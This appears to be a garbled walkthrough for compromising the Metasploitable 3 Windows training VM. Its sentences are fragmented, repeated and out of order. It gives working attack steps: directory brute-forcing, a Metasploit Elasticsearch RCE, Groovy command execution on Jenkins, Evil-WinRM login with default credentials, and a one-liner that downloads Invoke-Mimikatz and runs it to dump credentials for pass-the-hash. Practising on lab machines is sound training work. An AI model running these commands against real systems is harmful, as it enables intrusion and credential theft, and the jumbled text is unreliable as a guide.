Metasploitable 3 Windows Walkthrough -

This walkthrough will guide you from initial reconnaissance to full system control. We will use Kali Linux as our attack platform and target .

Upload JuicyPotato.exe via Evil-WinRM:

Evil-WinRM gives you a native PowerShell prompt without needing to upload extra binaries. From here, you can: metasploitable 3 windows walkthrough

println "whoami".execute().text If this returns a system user, you have remote code execution (RCE). Use it to download a reverse shell payload from Kali. Older Elasticsearch versions are vulnerable to CVE-2014-3120 (Remote Code Execution).

gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt Look for /jenkins or /phpmyadmin . Metasploitable 3 often has Jenkins running on port 80 via a virtual directory. If you find Jenkins, navigate there. The credentials in Metasploitable 3 default to admin / admin (or no password). This walkthrough will guide you from initial reconnaissance

# Download Mimikatz iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds NTLM hashes for Administrator , vagrant , and the machine account. You can now pass-the-hash to any other machine on the fake network. Finding Flags Metasploitable 3 has "flags" hidden in the file system.

# Check version curl http://192.168.56.102:9200 msfconsole msf6 > use exploit/multi/elasticsearch/script_mvel_rce msf6 > set RHOSTS 192.168.56.102 msf6 > set HTTP_PORT 9200 msf6 > set TARGET Windows msf6 > exploit From here, you can: println "whoami"

# Install evil-winrm gem install evil-winrm evil-winrm -i 192.168.56.102 -u administrator -p vagrant